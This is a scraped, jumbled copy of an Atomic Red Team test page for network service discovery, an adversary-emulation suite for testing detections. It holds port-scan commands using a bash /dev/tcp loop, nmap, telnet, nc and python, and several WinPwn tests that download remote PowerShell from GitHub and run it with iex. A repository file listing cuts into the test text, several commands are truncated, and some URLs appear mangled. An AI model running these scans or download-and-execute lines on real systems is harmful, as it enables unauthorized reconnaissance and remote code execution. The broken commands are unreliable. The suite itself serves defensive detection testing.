

via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540

Inputs:

Name	Description	Type	Default Value
host	Host to scan.	String	192.168.1.1

Attack Commands: Run with `bash` !

```
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && 
```

Atomic Test #2 - Port Scan Nmap

Scan ports to check for listening ports with Nmap.

Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresseses on port 80 to determine if listening. Results will be via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f

Inputs:

Name	Description	Type	Default Value
host	Host to scan.	String	192.168.1.1
port	Ports to scan.	String	80
network_range	Network Range to Scan.	String	192.168.1.0/24

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port} 
```

Dependencies: Run with `sh` !

Description: Check if nmap command exists on the machine

Check Prereq Commands:


```
if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi; 
```

Get Prereq Commands:

```
(which yum && yum -y install epel-release nmap) || (which apt-get && DEBIAN 
```

Description: Check if nc command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v nc)" ]; then exit 0; else exit 1; fi; 
```

Files

f339e7d

Go to file

> .github

> atomic_red_team

> atomics

- > Indexes
- > T1003.001
- > T1003.002
- > T1003.003
- > T1003.004
- > T1003.005
- > T1003.006
- > T1003.007
- > T1003.008
- > T1003
- > T1006
- > T1007
- > T1010
- > T1012
- > T1014
- > T1016
- > T1018
- > T1020
- > T1021.001
- > T1021.002
- > T1021.003
- > T1021.006
- > T1027.001
- > T1027.002
- > T1027.004
- > T1027
- > T1030
- > T1033
- > T1036.003
- > T1036.004
- > T1036.005
- > T1036.006
- > T1036

Get Prereq Commands:

```
(which yum && yum -y install epel-release nc)|| (which apt-get && DEBIAN_
```

Description: Check if telnet command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v telnet)" ] && then exit 0 && else exit 1 && fi
```

atomic-red-team / atomics / T1046 / T1046.md

Preview

Code

Blame

344 lines (175 loc) · 8.47 KB

Raw

```
(which yum && yum -y install epel-release telnet)|| (which apt-get && DEB
```

Atomic Test #3 - Port Scan NMap for Windows

Scan ports to check for listening ports for the local host 127.0.0.1

Supported Platforms: Windows

auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df

Inputs:

Name	Description	Type	Default Value
nmap_url	NMap installer download URL	Url	https://nmap.org/dist/nmap-7.80-setup.exe
host_to_scan	The host to scan with NMap	String	127.0.0.1

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
nmap #{host_to_scan}
```

Dependencies: Run with powershell !

Description: NMap must be installed

Check Prereq Commands:

```
if (cmd /c "nmap 2>nul") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -OutFile $env:temp\nmap-7.80-setup.exe #{nmap_url}
Start-Process $env:temp\nmap-7.80-setup.exe /S
```

Atomic Test #4 - Port Scan using python

Scan ports to check for listening ports with python

Supported Platforms: Windows

Page 3 of 5

- > T1036
- > T1037.001
- > T1037.002
- > T1037.004
- > T1037.005
- > T1039
- > T1040

auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c

Inputs:

Name	Description	Type	Default Value
host_ip	Host to scan.	String	127.0.0.1
filename	Location of the project file	Path	PathToAtomicsFolder\T1046\src\T1046.py

Attack Commands: Run with powershell!

```
python #{filename} -i #{host_ip}
```

Dependencies: Run with powershell!

Description: Check if python exists on the machine

Check Prereq Commands:

```
if (python --version) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "Python 3 must be installed manually"
```

Atomic Test #5 - WinPwn - spoolvulnscan

Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 54574908-f1de-4356-9021-8053dd57439a

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/spoolvulnscan -noninteractive -consoleoutput')
```

Atomic Test #6 - WinPwn - MS17-10

Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 97585b04-5be2-40e9-8c31-82157b8af2d6

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/MS17-10 -noninteractive -consoleoutput')
```

Atomic Test #7 - WinPwn - bluekeep

Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).

Supported Platforms: Windows

auto_generated_guid: 1cca5640-32a9-46e6-b8e0-fabbe2384a73

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/1cca5640-32a9-46e6-b8e0-fabbe2384a73/bluekeep -noninteractive -consoleoutput')
```

Atomic Test #8 - WinPwn - fruit

Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn

Supported Platforms: Windows

auto_generated_guid: bb037826-cbe8-4a41-93ea-b94059d6bb98

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/bb037826-cbe8-4a41-93ea-b94059d6bb98/fruit -noninteractive -consoleoutput')
```